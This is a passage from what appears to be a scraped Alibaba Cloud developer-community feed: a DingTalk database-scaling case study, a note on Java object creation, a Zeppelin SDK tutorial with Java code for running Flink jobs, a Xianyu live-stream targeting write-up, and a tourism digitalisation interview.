    疫情突然爆发,所有人都预期流量会增长,但涨多少很难预估,必须要早作准备。为了保证资源不会成为系统扩容的阻力,DBA和云资源团队进行合理规划,短期内通过借用集团上云的机器,同时缩容其他BU数据库集群,凑出400台左右的机器,保证高优先级系统的扩容需求。同时协调云资源进行搬迁,在短短几天内搬迁了300多台机器到钉钉资源池,保证了钉钉所有数据库的扩容需求。
    资源到位后就是检验数据库弹性的时候了,依托于PolarDB-X三节点分布式的部署架构,我们可以较为方便地对原有集群进行在线升级和扩容,对用户影响很低,并且保证数据的一致性。有些场景用户需要从原有集群将数据迁移到分库分表更多的新集群,我们利用DTS搭配成熟的管控平台也能较为流畅地完成。最终可以做到只要有资源,数据库也能具有极致的弹性,满足业务需求。

    3.3应急与优化

    在系统高峰来临之前,数据库团队内部已经准备好紧急预案:

    • 参数降级,调整数据库参数充分发挥数据库能力,提高吞吐
    • 资源降级,调整资源限制,CPU隔离放开及数据库BP大小紧急上调
    • 针对异常SQL,确认影响后紧急限流,或者通过SQL Execute Plan Profile进行紧急干预
    • 全集群流量备库分流,依据压力情况最大可100%读流量切换到备库
    • 准备数据库弱一致脚本,在必要时进一步提高数据库吞吐

    同时结合业务的限流/降级预案保证了很多数据库系统在未知高峰流量到来时的稳定运行。
    但业务限流降低了很多用户的体验,之前业务限流值设置为30QPM/群,表示为每个群在一分钟之内只能发送30条消息,很多时候在1分种的前20s甚至更短时间就已经发出30条消息,在剩下40s以上的时间内用户的体验就是无法使用钉钉。针对这种情况DBA建议减小限流窗口,将限流值30QPM改成30/20S,限流降低了97%,大大改善了用户的体验。

    3.4 DB容量预估及性能分析

    业务上往往通过集群的CPU情况即可大概分析出系统的水位,但是对DB而言不仅是CPU,IO、网络、SQL、锁等等,任何一个组件的瓶颈往往都会成为最终容量的瓶颈。不同的业务模型,往往瓶颈不一样,即使都是查询量较大的业务,有些可能是CPU的瓶颈,有些可能是内存命中率不够导致的瓶颈,有些则是索引设计不合理导致的瓶颈。更复杂的部分在于,有些瓶颈往往不是线性的,可能压力提升2倍还没什么问题,硬件能力都还有富余,但是提升到3倍就直接崩溃。在这种场景下我们如何比较准确地评估DB的容量呢?
    以往我们都是通过经验并和业务方一起进行全链路压测进行DB容量(集群能支撑多少读写)的预估,这种方式有以下几个问题:(1)压测数据集和数据库总量相比往往比较小,DB命中率基本100%,这对于分析有IO的业务模型存在较大误差;(2)成本较大,需要打通上下游整个链路,需较多的人员参与,即使进行全链路压测,真正压到DB端的往往也只是核心的几个接口,无法100%覆盖线上所有的接口,而很多慢SQL往往都来自这些易忽略的接口。
    解决这个痛点问题的方法很容易想到——只要把线上的业务流量全部采集下来回放一遍即可,但实现起来是非常复杂的。我们真正需要的其实是针对DB的一种通用的单链路压测能力,并不依赖上游业务,DB层可以自己进行流量的生成、放大或缩小,甚至具备将事务比例更改后再次压测的能力。从2019年开始,在DBA和达摩院数据库实验室科学家们共同的努力下,我们开发了ClouDBench实现了上述的需求,并在此次的战役中帮助DBA进行容量的评估。效果如下图所示:

    图1:ClouDBench容量评估效果展示.png

    图1:ClouDBench容量评估效果展示

    蓝色是真实业务在某个时刻的性能曲线,绿色是我们采集DB端流量回放出来的性能曲线,可以看出两条曲线在时序上高度拟合,特别是InnoDB内部的指标都非常接近,包括流量的波动。
    当我们能够比较真实地回放出业务的workload,我们即可以对压力进行放大,以此来分析DB的容量,并分析出极限场景下的性能瓶颈,从而进行DB的优化及验证优化效果。ClouDBench目前已经在公共云数据库自治服务Database Autonomy Service(DAS)中灰度上线。

    4.成果及思考

    短短两周内各数据库系统具备了数倍到40倍以上的能力,其中不乏超大型数据库集群,存储空间超过1PB,所有这些都充分证明了阿里云数据库的弹性能力。此次疫情带来的爆发式流量对我们来说是毫无防备的,经历过此役,经验总结下来有以下几点:

    4.1人员组织

    首先在人员组织上,业务和开发要对突发流量具备敏锐的嗅觉,及时发现提早准备,由业务方稳定性负责人成立应急小组,梳理依赖业务以及对应后台系统,将各业务线owner和后台数据库产品owner纳入应急小组。由应急小组统一容量规划、人力配备以及资源协调,实现业务方、后台产品团队、资源团队联动。

    4.2技术架构

    在技术架构上,一方面是要使用具有足够弹性的数据库产品,保证使用的数据库产品有自由扩容和缩容的能力,既要保证流量增大后能扩容,也要保证日常流量时可以缩容。管控等各个运维组件需要在实现自动化运维的同时,对于很多关键操作留有应急开关,确保在一些极端场景下,可以较方便地从自动驾驶切换成手动模式,确保任务平稳高效地运行下去。

    4.3应急手段

    在面对系统瓶劲时,在业务上和数据库产品上都要提前做好预案。在业务上要有降级和限流功能,在系统无法承受压力时,可以降级一部分非核心功能,限制一些次核心功能来保核心业务的正常运行。在数据库产品上需要具有在不扩容的情况下,通过一些优化手段瞬间提升数据库吞吐的能力,更重要的是这些能力需要有较好的兼容性,在不同的部署环境、不同的DB架构下都具有相应的工具和预案。
    另一方面,我们需要有评估和检测预案效果的手段,我们现在可以利用ClouDBench对DB进行容量的分析和预测,但是当前的使用成本还是过高,后续ClouDBench需要更加自动化,降低使用成本,将能力透传给业务的owner,在大促之前,自动进行大量的DB单链路压测,评估系统水位,发现性能瓶颈,优化DB参数,验证预案效果。

    作者:章左中

    阿里云智能数据库产品团队运维专家

    阿里巴巴运维专家,从事数据库领域十年以上,先后在甲骨文(中国)、网易等公司任职,在传统行业和互联网行业都有着丰富的经验。目前在阿里云数据库事业部从事专家服务相关工作,擅长数据库优化、架构设计及异构数据库之间的迁移等。

    作者:陈荣耀

    阿里云智能数据库产品团队运维专家

    曾就职于烽火通信任职Oracle DBA,2015年加入阿里,现任阿里云数据库运维专家,有丰富的Oracle、MySQL运维开发经验,擅长数据库故障诊断、性能调优、稳定性建设。目前主要负责数据库性能压测、流量回放(ClouuDBench )等。

    我们是阿里云智能全球技术服务-SRE团队,我们致力成为一个以技术为基础、面向服务、保障业务系统高可用的工程师团队;提供专业、体系化的SRE服务,帮助广大客户更好地使用云、基于云构建更加稳定可靠的业务系统,提升业务稳定性。我们期望能够分享更多帮助企业客户上云、用好云,让客户云上业务运行更加稳定可靠的技术,您可用钉钉扫描下方二维码,加入阿里云SRE技术学院钉钉圈子,和更多云上人交流关于云平台的那些事。

    image.png

    ]]>
    Java创建对象的方法有哪些?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 1.运用New 关键字创建实例,这是最常用的创建对象方法。
    2.运用反射,调用Java.lang.Class类当中newInstance方法。只能调用公共的无参构造函数。
    3.运用反射,调用java.lang.reflect.Constructor类中的newInstance方法提供无参或有参实例。除了无参构造器,还可以调用有参数的/私有的/受保护的构造函数。事实上Class的newInstance方法内部调用Constructor的newInstance方法。这也是众多框架Spring、Hibernate、Struts等使用后者的原因。
    4.调用对象的clone方法。必须先实现java.lang.Cloneable接口。
    5.使用序列化和反序列化。必须先实现Serializable接口。
    6.使用unsafe.allocateInstance(class)创建对象。
    本文来源于:奈学开发者社区,如有侵权,请联系我删除~

    ]]>
    Zeppelin SDK :Flink 平台建设的基石-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 作者:章剑锋(简锋),阿里巴巴高级技术专家

    用过 Zeppelin 的人应该比较熟悉 Zeppelin 的 UI,因为 Zeppelin 的主要使用场景都是交互式,用户需要手动来操作。那除了这种手动的方式,还有其他的方式吗?如果你不想用 Zeppelin UI,但又想用 Zeppelin 提交和管理大数据作业 (比如 Flink Job)的能力该怎么办?或者是你在 Zeppelin 里写好了代码,想定时调度起来,或者集成到其他系统里,该怎么办?

    如果你有这样的诉求,那么 Zeppelin Client API (SDK)就是你所需要的东西。

    Zeppelin 简介

    对于不熟悉 Zeppelin 的人,可以用一句话来解释 Zeppelin:大数据引擎的入口,交互式大数据分析平台底座。Zeppelin 最大的特点是连接多种引擎,具有可插拔式,下面这张图例举了一些常用的引擎,当然 Zeppelin 还支持其他很多引擎,这里就不一一例举。

    image3.png

    虽然 Zeppelin 有 Rest API,但是 Zeppelin 的 Rest API 太多,对于很多不熟悉 Zeppelin 的人来说使用 Rest API 门槛太高,所以 Zeppelin 专门开发了一个 Client API (SDK),方便大家做集成。Zeppelin Client API (SDK)分为 2 个层面的的东西(接下来会逐个详细介绍):

    • Zeppelin Client API (Low Level API)
    • Session API (High Level API)

    Zeppelin Client API (Low Level API)

    Zeppelin Client API 可以在 Note 和 Paragraph 的粒度进行操作。你可以先在 notebook 里写好代码 (比如开发阶段在 notebook 里写代码,做测试),然后用 Low Level API 用编程的方式把 Job 跑起来(比如生产阶段把作业定时调度起来)。Zeppelin Client API 最重要的 class 是 ZeppelinClient,也是 Zeppelin Client API 的入口。下面例举几个重要的接口(这些 API 都比较直观,我就不多做解释了)。

    public String createNote(String notePath) throws Exception 
    
    public void deleteNote(String noteId) throws Exception 
    
    public NoteResult executeNote(String noteId) throws Exception 
    
    public NoteResult executeNote(String noteId, 
                                  Map<String, String> parameters) throws Exception
                                  
    public NoteResult queryNoteResult(String noteId) throws Exception 
    
    public NoteResult submitNote(String noteId) throws Exception
    
    public NoteResult submitNote(String noteId, 
                                 Map<String, String> parameters) throws Exception 
                                 
    public NoteResult waitUntilNoteFinished(String noteId) throws Exception
    
    public String addParagraph(String noteId, 
                               String title, 
                               String text) throws Exception
                               
    public void updateParagraph(String noteId, 
                                String paragraphId, 
                                String title, 
                                String text) throws Exception
                                
    public ParagraphResult executeParagraph(String noteId,
                                            String paragraphId,
                                            String sessionId,
                                            Map<String, String> parameters) throws Exception
                                            
    public ParagraphResult submitParagraph(String noteId,
                                           String paragraphId,
                                           String sessionId,
                                           Map<String, String> parameters) throws Exception
                                           
    public void cancelParagraph(String noteId, String paragraphId)
        
    public ParagraphResult queryParagraphResult(String noteId, String paragraphId) 
        
    public ParagraphResult waitUtilParagraphFinish(String noteId, String paragraphId)

    那这些 API 能用来做什么呢?

    一个典型的用途是我们在 Zeppelin 里写好代码,做好测试,然后在第三方系统里集成进来。比如下面的代码就是把 Zeppelin 自带的 Spark Basic Features 用编程的方式跑起来,你不仅可以跑 Zeppelin Note,还可以拿到运行结果 (ParagraphResult)。怎么处理运行结果,就留给你发挥想象的空间吧(可以在你的系统里展示出来,或者可视化出来,或者传给其他系统做消费等等)。

    此外,对于 Dynamic forms(动态控件,比如文本框,下拉框等等),你还可以动态的提供参数,如下面例子里的 maxAge 和 marital。

    ClientConfig clientConfig = new ClientConfig("http://localhost:8080");
    ZeppelinClient zClient = new ZeppelinClient(clientConfig);
    
    String zeppelinVersion = zClient.getVersion();
    System.out.println("Zeppelin version: " + zeppelinVersion);
    
    ParagraphResult paragraphResult = zClient.executeParagraph("2A94M5J1Z", "20150210-015259_1403135953");
    System.out.println("Execute the 1st spark tutorial paragraph, paragraph result: " + paragraphResult);
    
    paragraphResult = zClient.executeParagraph("2A94M5J1Z", "20150210-015302_1492795503");
    System.out.println("Execute the 2nd spark tutorial paragraph, paragraph result: " + paragraphResult);
    
    Map<String, String> parameters = new HashMap<>();
    parameters.put("maxAge", "40");
    paragraphResult = zClient.executeParagraph("2A94M5J1Z", "20150212-145404_867439529", parameters);
    System.out.println("Execute the 3rd spark tutorial paragraph, paragraph result: " + paragraphResult);
    
    parameters = new HashMap<>();
    parameters.put("marital", "married");
    paragraphResult = zClient.executeParagraph("2A94M5J1Z", "20150213-230422_1600658137", parameters);
    System.out.println("Execute the 4th spark tutorial paragraph, paragraph result: " + paragraphResult);

    这下面这张图就是上面我们要 Zeppelin Client API 跑的 Zeppelin 自带的 Spark Basic Features。

    image2.png

    Session API (High Level API)

    Session API 是 Zeppelin 的high level api,Session API 里没有 Note,Paragraph 的概念,粒度是你提交的代码。Session API里最重要的class就是 ZSession,这也是Session API的入口,一个 ZSession 代表一个独立的Zeppelin Interpreter 进程,对于 Flink 来说就是一个独立的 Flink Session Cluster。下面例举一些典型的接口(这些 API 都比较直观,我就不多做解释了)。

    public void start() throws Exception
    
    public void start(MessageHandler messageHandler) throws Exception
    
    public void stop() throws Exception
    
    public ExecuteResult execute(String code) throws Exception
    
    public ExecuteResult execute(String subInterpreter,
                                 Map<< span="">String, String> localProperties,
                                 String code,
                                 StatementMessageHandler messageHandler) throws Exception
    
    public ExecuteResult submit(String code) throws Exception
    
    public ExecuteResult submit(String subInterpreter,
                                Map<< span="">String, String> localProperties,
                                String code,
                                StatementMessageHandler messageHandler) throws Exception
                               
    public void cancel(String statementId) throws Exception
     
    public ExecuteResult queryStatement(String statementId) throws Exception
    
    public ExecuteResult waitUntilFinished(String statementId) throws Exception

    那这个 API 能用来做什么呢? 一个典型的用途是就是我们动态创建 Session (Zeppelin Interpreter 进程),动态的提交运行代码,并拿到运行结果。比如你不想用 Zeppelin 的 UI,要自己做一个 Flink 的开发管理平台,那么你就可以自己做 UI,让用户在 UI 上配置 Flink Job,输入 SQL,然后把所有的这些信息发送到后端,后端调用 ZSession 来运行 Flink Job。

    下面的 Java 代码就是用编程的方式调用了 2 条 Flink SQL 语句,并且在 MyStatementMessageHandler1 和 MyStatementMessageHandler2 中读取源源不断发送过来更新的 SQL 运行结果 (怎么来使用这个结果就靠你的想象力了)。

    需要说明的是像 Flink Interpreter 这种流式结果数据更新是通过 WebSocket 实现的,所以下面的代码里有会有 CompositeMessageHandler,MyStatementMessageHandler1 以及 MyStatementMessageHandler2,这些 MessageHandler 就是用来处理通过 WebSocket 发送过来的流式数据结果。下面是 2 条我们在 Zeppelin 里运行的 Flink SQL。

    image5.png
    image8.png

    接下来我们会用 Zeppelin Session API 来跑着这 2 条 Flink SQL,然后我们会在MyStatementMessageHandler1,MyStatementMessageHandler2 里拿到结果展示出来。

    ZSession session = null;
    try {
        ClientConfig clientConfig = new ClientConfig("http://localhost:8080");
        Map<< span="">String, String> intpProperties = new HashMap<>();
    
        session = ZSession.builder()
            .setClientConfig(clientConfig)
            .setInterpreter("flink")
            .setIntpProperties(intpProperties)
            .build();
    
        // CompositeMessageHandler allow you to add StatementMessageHandler for each statement.
        // otherwise you have to use a global MessageHandler.
        session.start(new CompositeMessageHandler());
        System.out.println("Flink Web UI: " + session.getWeburl());
    
        System.out.println("-----------------------------------------------------------------------------");
        String initCode = IOUtils.toString(FlinkAdvancedExample.class.getResource("/init_stream.scala"));
        ExecuteResult result = session.execute(initCode);
        System.out.println("Job status: " + result.getStatus() + ", data: " + result.getResults().get(0).getData());
    
        // run flink ssql
        Map<< span="">String, String> localProperties = new HashMap<>();
        localProperties.put("type", "update");
        result = session.submit("ssql", localProperties, "select url, count(1) as pv from log group by url",
                                new MyStatementMessageHandler1());
        session.waitUntilFinished(result.getStatementId());
    
        result = session.submit("ssql", localProperties, "select upper(url), count(1) as pv from log group by url",
                                new MyStatementMessageHandler2());
        session.waitUntilFinished(result.getStatementId());
    
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        if (session != null) {
            try {
                session.stop();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    public static class MyStatementMessageHandler1 implements StatementMessageHandler {
    
        @Override
        public void onStatementAppendOutput(String statementId, int index, String output) {
            System.out.println("MyStatementMessageHandler1, append output: " + output);
        }
    
        @Override
        public void onStatementUpdateOutput(String statementId, int index, String type, String output) {
            System.out.println("MyStatementMessageHandler1, update output: " + output);
        }
    }
    
    public static class MyStatementMessageHandler2 implements StatementMessageHandler {
    
        @Override
        public void onStatementAppendOutput(String statementId, int index, String output) {
            System.out.println("MyStatementMessageHandler2, append output: " + output);
        }
    
        @Override
        public void onStatementUpdateOutput(String statementId, int index, String type, String output) {
            System.out.println("MyStatementMessageHandler2, update output: " + output);
        }
    }

    除了编程方式跑 Flink Job,这个 Session API 还能给我们带来什么呢?

    在 Zeppelin 里如果你可以通过 %flink.conf 来对你的 Flink Cluster 进行非常丰富的配置,但是 %flink.conf 是纯文本的配置,不熟悉 Flink 的人很容易配错(如下图)。如果你是自己做 Flink 开发平台的话就可以做一个更完整的 UI,用一些下拉框等等把一些配置选项固定下来,用户只要选择就行了,不需要自己输入文本来配置。

    image7.png

    还有下面这类 paragraph 的 local properties 配置,比如 type,template, resumeFromLatestCheckpoint 也是比较容易写错的,同理你可以在自己 UI 里用一些控件把这些选项提前固定下来,而不是让用户输入文本的方式。

    image6.png

    我相信 Zeppelin Client API 还有很多可以发挥和想象的空间,大家脑洞起来吧。

    ▼ 视频演示 ▼

    视频演示链接
    https://v.qq.com/x/page/m3146grr5e1.html

    更多 Flink 技术干货及使用交流可加入 Flink 社区钉钉大群。

    最新钉群二维码.jpeg

    ]]>
    闲鱼直播三周内实现点击率翻倍,我们是这么做到的...-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 作者:闲鱼技术-莫癫

    1. 业务背景

    闲鱼直播业务上线后面临的最大问题是增长问题。闲鱼BI同学分析发现,对比短时观看和长时观看人群,发现两部分人群有较明显的兴趣阶段性差异。
    业务希望在理解直播、主播和用户的基础根据兴趣对头部优质直播精准投放, 放大头部主播马太效应实现直播转化和观看时间的增长。

    2. 目标

    简单概括需要达成两个结果:

    • 在三周内实现精准投放平台,沉淀基础运营平台的基础设施;
    • 业务上保证头部直播间场均转化uv达成一定目标,转换率得到明显提升;

    那么单纯借助算法模型实现优质直播推荐,是否也可以达成业务上的目标?然后现实却是,巧妇难为无米之炊。 直播上线时间短, 播放和观看场次有限, 使得模型的训练没有足够的样本直接去理解用户对直播的兴趣, 平台也未对主播直播内容做强控实现内容的结构化。那么就需要将运营对直播领域经验与BI分析、算法结合, 在理解用户、直播和直播间的基础上,实现对直播间到兴趣人群的投放,并沉淀平台化能力。

    3. 实现方案

    给兴趣人群投放实时直播间的第一步是要实现对人的理解,包括C端用户以及主播的理解,其次是直播的理解。理解的结果最终会以兴趣人群、主播人群的方式与页面资源位关联,形成人(用户)货(直播)场(资源位)的初步匹配。


    用户的理解依赖于用户的特征数据,包括闲鱼用户基础特征,搜索、浏览、发布、交易等商品相关行为记录,互动行为特征和用户兴趣标签特征等。这些特征对实时性要求不高,大部分特征通过离线计算产出,后续通过离线计算方式对不同数据来源的特征归一化。


    用户所有特征会同步到人群圈选平台,通过交并差的方式实现人群圈选,进行人群预览和导出。
    直播投放整体设计.png
    平台整体设计


    圈选的人群数据是以userId和人群Id的映射表方式保存离线,与投放的配置进行联合后得到<用户, 资源位, 主播>的关联关系,而后关系数据会同步到图数据库Igraph,提供给算法在线推荐时查询关联直播实现按兴趣推荐和曝光。受限的是整体的曝光流量有额度的,算法会基于模型,在有限PV额度内对在线直播间实现较优的选择。


    下面详细阐述是怎么实现用户理解直播间投放的。

    用户理解

    对用户理解的常规特征生产不是个难事, 而用户的兴趣标签需要针对闲鱼用户从零开始, 弥补这方面能力的缺失。 兴趣标签主要是通过分析用户历史行为产生的行为文本,找出其与领域标签涉及到词组的关联性。 包含如图商品和帖子的各类行为文本,目前数据在逐渐补充中。

    CDAD267B-747D-4790-9311-909702FD01D9.png


    运营会整理不同领域的关键词词组作为输入, 匹配到关联度高的用户关联上领域标签特征。 要实现兴趣标签的产出, 要解决三个问题: 存储、检索和相关度计算。
    image.png
    兴趣标签产出(方案一)


    如图方案一是最初设想方案, 整体流程如下:

    • 关键词结构化: BI同学完成行为文本明细的处理, 包括数据源归一、去重和UDF处理分词, 并根据关键词频次和预设权重算分。 输出结构化后的用户行为文本明细, 包括用户ID、实体ID、关键词列表和关键词对应的分值列表;
    • 打标规则DSL化:对运营输入的行业兴趣关键词组进行分词后转成数据库可执行的DSL;
    • 兴趣用户DUMP: 执行DSL检索出与输入关键词匹配的结构化行为文本, 进行用户去重, 完成用户兴趣标签关联;
    • 人群圈选: 基于用户兴趣标签和其它特征数据做交并差后导出最终人群, 该步骤是在二方人群圈选平台进行;


    整个方案是可行的, 而且具备很好的灵活性, 离线部分可不断完善和丰富结构化行为文本, 工程测专注于DSL可视化优化和整个数据流的流转提效, 整个平台可以良性迭代进化。 但是该方案确难以实行, 主要存在以下问题:

    • 能给的工期短, 要求2到3周完成所有链路功能上线并支撑业务验证, 实现该方案是几乎不可能的;
    • 存储成本巨大, 测算大概需要30PB的在线存储资源, 这对于一个未验证价值的业务来数也是不可能申请到的;


    有同学也许很快发现, 从文本结构化到检索特定兴趣用户的过程不就是一个可以用搜索引擎实现的业务场景吗? 最大的问题仍然是预算问题, 搭建搜索引擎也是个不小的成本,而且从搜索引擎dump大量数据存在着严重的性能问题,同时也无法支持BI同学在整个流程中进行优化。
    4E3F537D-6CCD-4000-9CF7-DC3DD4641255.png
    搜索引擎基本流程


    在线方案是比较理想的, 可以实现运营利用自己的行业经验自助完成兴趣标签关联和人群圈选。由于上述客观条件限制, 最终我们选择了离线关联用户和兴趣标签的方式, 快速接入部分兴趣标签, 而后逐步推进在线方案的方式。 这里得益于BI同学全面的能力, 完成了“离线搜索引擎”, 以及未雨绸缪沉淀了部分用户兴趣标签。 这样整体方案就是这样的:

    • 离线处理非结构化文本,通过去重、分词和算法得到结构化文本(该步骤与方案一相同);
    • 整理领域标签关联的关键词词组
    • 离线计算方式检索匹配关键词词组的用户


    方案二的最大弊端就是通用性没方案一高,每个兴趣标签的产出需要BI开发,只能满足T+1的实时性。但也一些优点,离线存储成本低,离线计算可支持自定义复杂UDF。离线部分更详细的介绍可以参考数据团队的兴趣标签体系实现介绍。
    image.png
    兴趣标签产出(方案二)

    投放实现

    投放分为离线和在线两部分, 运营维护的投放配置存储在RDB (关系型数据库), 需要同步到数据仓库, 离线计算完成用户与兴趣主播关系关联, 形成<用户,兴趣主播列表>关系。 关联的数据同步到在线图关系数据库, 提供算法在兴趣主播中推荐。 整个数据链路需要自动流转, 尽可能及时:

    • 在线配置无法做到实时同步到离线, 目前每一个小时调度一次, 达到准时时要求;
    • 离线任务之间通过依赖任务驱动, 基本能满足准实时行要求,并每次全量更新“用户主播兴趣关系”新增新分区,同时增加与新分区时间一致的done分区;
    • 离线数据同步到在线图数据库是基于数据交换组件, 会定时检查离线表done分区, 有新done分区则会通过同步消息机制进行对应相同时间分区的全量数据更新;

    image.png

    4. 首页效果

    在三周不到的时间,完整链路的平台实现并上线,运营人群圈选、投放配置可在分钟级内完成上线。
    对部分领域的头部直播在首页进行试投放后,效果明显:

    • 所有头部直播间,UV点击数远超目标;
    • 对比大盘,试投放大部分领域PV和UV的点击转化率得到显著提升,最高达到倍数提升;

    5. 展望

    整个项目由于时间比较短, 实现的是兴趣直播投放功能的最小集合, 以支持快速验证并得到较好反馈和结果。在此雏形上,未来会逐渐完善和丰富其能力:

    • 在对接BI兴趣标签的基础上, 需要不断丰富对接兴趣标签等各维度的特征数据能力,同时支持运营同学自助产出通用兴趣标签以及其它特征;
    • 丰富对资源位的投放能力支持,并具备多维度AB方案和多指标通用报表分析能力。能支持更多业务的快速尝试、快速反馈和快速调整;
    • 沉淀和抽象出核心链路, 不局限于支持直播业务, 可以平台化支持更多的社区和非社区业务。同时在理解用户兴趣的基础, 更好的支持理解内容, 实现内容结构化, 实现用户和兴趣内容的低成本运营;


    ~~

    ]]>
    郑荣:世界的香格里拉——从“藏在深闺无人识”到“网红旅游目的地” | 阿里CIO学院名人堂-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 7月中旬,迪庆藏族自治州文化和旅游局宣传推广及对外交流与合作科科长郑荣作为阿里创新学院的学员走进阿里巴巴,参与了为期两天的数智化升级培训班。

    image.png

    带着打造“世界的香格里拉”的决心,郑荣在参会期间认真听取了阿里巴巴关于数字化营销、数字化管理、数字化转型等相关话题的分享,并对此有了更为系统的认识。会后,郑荣接受阿里CIO学院新媒体访谈,分享了他对文旅行业数字化转型的未来构想。

    郑荣先生认为文旅行业的数字化转型主要有三方面的切入点,分别是政府管理、文旅企业以及游客需求。以这三个切入点为引,他为我们分享了迪庆文旅产业以往发展的一些经验,指出了未来在数字化转型这条道路上文旅行业可能会面临的挑战。

    在郑荣先生的构想里,文旅行业未来发展离不开文旅产品和业务的创新,只有创新才能带来发展,让“世界的香格里拉”这一天生具备网红基因的旅游胜地更好地走向全国、走向世界。

    用数字化技术要让传统文旅资源活起来

    阿里CIO学院:郑先生您好,请问这次走进阿里巴巴参与两天的学习交流给您带来的真实感受是什么?

    郑荣:本次学习交流首先让我了解了阿里巴巴的企业文化和业务生态。通过聆听与会专家大咖们的演讲,我对数字化营销、数字化管理、数字化转型和创新等有了系统性的认识,了解到互联网科技发展的最新动态。这次学习对于我今后工作的开展大有裨益,我们将会更深入地探索迪庆文旅产业发展的数字化转型和创新,进一步擦亮“世界的香格里拉”这一品牌。

    阿里CIO学院:您认为文旅行业在数字化转型过程中的切入点是什么?在数字化转型的过程中可能会面临哪些挑战?

    郑荣:我认为文旅行业数字化转型的切入点主要在三个方面。

    一是政府管理,通过数字技术赋能行政部门的公共服务和行业监督,通过智能化管理来构建新服务和新监管的格局。

    二是文旅企业,通过数字技术变革传统文旅商业模式和业态,让传统的文化和旅游资源“活起来”。

    让传统文旅资源活起来,关键是在于融合,包括文化和旅游的融合、资源和数字化技术的融合,从而打造文旅行业新业态。以迪庆州来说,全州现有县级以上非遗项目200余项,但是更多的是“藏在深闺无人识”。随着旅游业的发展,我们提出了开发“非遗之旅”的策略,让游客在欣赏自然风光之外,可以选择体验尼西黑陶制作、唐卡绘画、藏香制作等延续千年的藏族传统文化。同时,以具有民族代表性的非遗项目为载体,创意设计研发文创旅游产品,也是文化和旅游融合最佳途径之一。

    而借助最前沿的数字化技术,以文化和旅游资源打造线上虚拟景区、线上虚拟博物馆,将使得文旅资源没有障碍地触达更广泛的人群。

    三是游客需求。数字化技术正在不断地影响着游客的行为和体验认知,游客的个性化需求越来越明显。随着移动互联网技术发展,我们已经进入了个性化定制时代,旅游业也正从传统大众观光游时代走向个性化消费时代转变。

    个性化需求的表现有很多市场细分,比如追求新鲜和新奇、寻求新潮和心跳、偏爱自驾和小团体出游,讲究游玩的主题和深度游,还有追求豪华和野趣等。

    应对旅游的个性化需求,首先我们要加强大数据收集、分析和运用,通过大数据分析形成旅游消费者画像,从而形成人群细分,挖掘不同人群的个性化需求,在此基础上进行旅游线路产品的设计和开发。数字化技术的应用可以提供更受游客青睐的交互式、沉浸式的旅行体验。

    关于旅游业的数字化转型的挑战,我觉得首要是人才的瓶颈,尤其是在我们云南迪庆州,数字化技术人才是相当稀缺的,这也是制约我们实施数字化转型和创新的最大难题。其次,文旅数字化转型不能狭隘地停留在单一的政府部门或企业行动上,而应该从整个文旅行业发展角度出发,要有整体性的数字化转型规划和推进策略。

    举例而言,在数字化转型过程中,迪庆州文旅局不断强化在旅游管理和服务上的数字化运用,同时不断地引导文旅企业搭上数字化转型的列车,推动主要景区加强数字信息化技术的应用。

    从目前我们的经验来说,就是要避免政府一手包办,文旅部门更多扮演的是牵头引导的角色,更主要的是发挥文旅企业的积极能动性,让他们在项目运作中感受到切实的利益和收获,不断提升文旅企业对数字化转型的认知。比如:2019年迪庆州文旅局与抖音合作开展的“世界的香格里拉”抖音全国互动挑战赛,由文旅局牵头落实,旅游企业和主要景区共同承担费用,同时也是活动的主角取得了不错的成效。

    文旅产业数字化转型营销要先行

    阿里CIO学院:您认为在数字化转型的路上,文旅行业产品与业务创新应该如何变化?数据智能将会对文旅行业的行业格局带来怎样的变化?

    郑荣:文旅产品和业务创新表现在以下几个方面:

    首先是要加强数字化技术的应用。从VR、AR到人工智能、大数据、云计算、物联网、5G等,文旅企业应该通过这些技术手段的应用,不断推动传统文化和旅游资源深度融合,进行文旅产品的革新,推出更具有交互性和沉浸式的文旅新产品。

    其次,数字化转型目前对于迪庆文旅企业的改变主要体现在营销宣传和景区服务上。目前越来越多的景区已经装载了智慧讲解、智慧门禁、智慧停车场等服务设施,使得景区的服务水平和游客体验有了一定的提升。其次,文旅企业通过互联网新媒体开展品牌、产品营销宣传的意识不断增强,可以让游客消费者多渠道多维度的了解认识迪庆的多民族传统文化和壮丽的自然景观。对于旅游景区而言,应该通过数字化技术的运用,打造“智慧景区”,提升景区的整体服务水平,给广大游客创造更好的旅行体验。

    再次,文旅产品的营销上,要注重挖掘游客的新体验和新需求,并借用数字技术手段进行人群细分、目标精准的营销推广。近年来,迪庆不断推进非物质文化遗产的数字化记录工作,利用图文、音视频等手段进行非遗资源采集,构建非遗数据库。

    数字化采集记录将非遗项目立体留存下来,可以让更多人熟悉、了解、喜欢迪庆的民族文化瑰宝,通过互联网等传播途径,也让非遗文化传播到更广阔的时空。

    数字化转型和数字化营销取得明显提升

    阿里CIO学院:在数字化转型这条道路上,有什么成功或失败的经验能和我们分享的吗?

    郑荣:近年来,迪庆州文旅局一直在探索文旅行业的数字化转型,逐步积累了一些经验。自2018年开始,迪庆州全面推进智慧景区建设,包括智慧门禁系统、智慧停车场、智慧厕所、电子导游等,景区的数字化水平得到明显提升。

    image.png

    数字化营销宣传也是迪庆州文旅局近年重点发力的方向,迪庆文旅与人民网、新华网、中国网、携程、抖音、微信、微博、新浪、网易以及海外的Google(谷歌)、Facebook(脸书)、YouTube(优兔)等众多平台开展合作,以互联网新媒体营销将香格里拉打造成为全国“网红旅游目的地”。在目前的互联网新媒体合作中,最成功的案例当属2019年与抖音合作开展的“世界的香格里拉”抖音全国互动挑战赛,本次挑战赛在云南省首开先河,以迪庆州文旅局牵头,联合迪庆州内主要景区共同参与。

    本次挑战赛期间有30余人次的知名网红来到迪庆,为迪庆文旅拍摄创意短视频。挑战赛覆盖网民超过5000万+人次,优质短视频参与数量超过50000+,挑战赛话题播放量达7亿次,视频点赞超过1000万+。

    虽然取得了一些成绩,但对于迪庆文旅行业长远发展来讲,无论是政府职能部门还是行业企业,实施数字化转型和创新依然任重道远。

    迪庆藏族自治州文化和旅游局介绍

    image.png

    2019年3月11日,新组建的迪庆藏族自治州文化和旅游局正式挂牌,香格里拉市、德钦县、维西县等县市级文化和旅游局相继挂牌,标志着迪庆州文化和旅游迈出了深度融合的步伐。

